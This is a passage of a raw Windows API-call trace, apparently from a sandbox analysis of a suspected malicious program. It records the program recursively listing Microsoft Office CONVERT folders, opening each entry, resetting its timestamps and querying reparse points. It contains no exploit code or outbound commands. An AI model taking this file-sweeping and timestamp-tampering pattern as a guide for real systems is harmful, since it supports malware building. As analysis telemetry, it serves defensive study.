0x10674d0 [0069.740] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4040) returned 0x107ba48 [0069.740] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1758048) returned 1 [0069.740] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.740] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6bd53ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x7180, dwReserved0=0x0, dwReserved1=0x0, cFileName="OL.SAM", cAlternateFileName="")) returned 1 [0069.740] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.740] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.740] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.740] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.741] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.741] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f5d8 [0069.741] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067558 [0069.741] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.741] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x207a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLADD.FAE", cAlternateFileName="")) returned 1 [0069.741] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.741] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.741] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.741] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.741] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.741] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f5f8 [0069.741] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10675e0 [0069.741] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.741] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6bd79c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x1dda8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLAPPT.FAE", cAlternateFileName="")) returned 1 [0069.741] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.742] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.742] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.742] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.742] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.742] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f618 [0069.742] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067668 [0069.742] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.742] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x117a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLJRNL.FAE", cAlternateFileName="")) returned 1 [0069.742] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.742] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.742] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.742] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.742] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.742] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f638 [0069.742] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10676f0 [0069.742] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.743] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6bd9fd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xf798, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLMAIL.FAE", cAlternateFileName="")) returned 1 [0069.743] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.743] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.743] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.743] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.743] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.743] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f658 [0069.743] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067778 [0069.743] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.743] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xcb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLNOTE.FAE", cAlternateFileName="")) returned 1 [0069.743] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.743] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.743] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.743] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.743] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.743] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f678 [0069.744] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067800 [0069.744] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.744] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6be5e470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x1c398, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLTASK.FAE", cAlternateFileName="")) returned 1 [0069.744] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.744] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.744] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.744] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.744] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.744] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f698 [0069.744] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067888 [0069.744] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.744] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x5988a8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xc588, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORG97.SAM", cAlternateFileName="")) returned 1 [0069.744] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.744] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.744] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.744] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.744] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.745] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f6b8 [0069.745] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067910 [0069.745] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.745] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6cd3edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xf978, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAB.SAM", cAlternateFileName="")) returned 1 [0069.745] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.745] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.745] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.745] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.745] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.745] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f6d8 [0069.745] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067998 [0069.745] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.745] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x18568, dwReserved0=0x0, dwReserved1=0x0, cFileName="RM.DLL", cAlternateFileName="")) returned 1 [0069.745] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.746] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.746] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.746] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.746] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.746] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.746] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x1ff80, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSMGR.DLL", cAlternateFileName="")) returned 1 [0069.746] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.746] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.746] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.746] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.746] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.746] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.746] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x1ff80, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSMGR.DLL", cAlternateFileName="")) returned 0 [0069.746] GetLastError () returned 0x12 [0069.746] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d260 [0069.746] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.747] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.747] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0069.747] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.747] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.748] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0069.748] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x1758048 [0069.748] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1758048, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1758048, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0069.748] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1758048) returned 1 [0069.748] NtClose (Handle=0xec) returned 0x0 [0069.748] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.748] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.748] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067a20 [0069.748] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067aa8 [0069.748] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0069.750] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.750] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x3388, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACT3R.SAM", cAlternateFileName="")) returned 1 [0069.750] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067b30 [0069.750] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067b30) returned 1 [0069.750] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067b30 [0069.750] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067b30) returned 1 [0069.750] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067b30 [0069.750] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1054928 [0069.750] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067a20) returned 1 [0069.750] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f6f8 [0069.751] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1077840 [0069.751] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067b30) returned 1 [0069.751] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x27a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DELIMR.FAE", cAlternateFileName="")) returned 1 [0069.751] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067b30 [0069.751] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067b30) returned 1 [0069.751] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067b30 [0069.751] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067b30) returned 1 [0069.751] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067b30 [0069.751] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f718 [0069.751] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10787b8 [0069.751] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067b30) returned 1 [0069.751] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x9180, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCALDV.DLL", cAlternateFileName="")) returned 1 [0069.751] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067b30 [0069.751] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067b30) returned 1 [0069.751] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067b30 [0069.751] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067b30) returned 1 [0069.751] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067b30 [0069.752] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067b30) returned 1 [0069.752] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBCR.SAM", cAlternateFileName="")) returned 1 [0069.752] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067b30 [0069.752] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067b30) returned 1 [0069.752] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067b30 [0069.752] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067b30) returned 1 [0069.752] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067b30 [0069.752] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f738 [0069.752] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10788c0 [0069.752] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067b30) returned 1 [0069.752] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x35b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLADDR.FAE", cAlternateFileName="")) returned 1 [0069.752] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067b30 [0069.752] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067b30) returned 1 [0069.752] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067b30 [0069.752] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067b30) returned 1 [0069.752] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067b30 [0069.753] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f758 [0069.753] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10789c8 [0069.753] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067b30) returned 1 [0069.753] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, 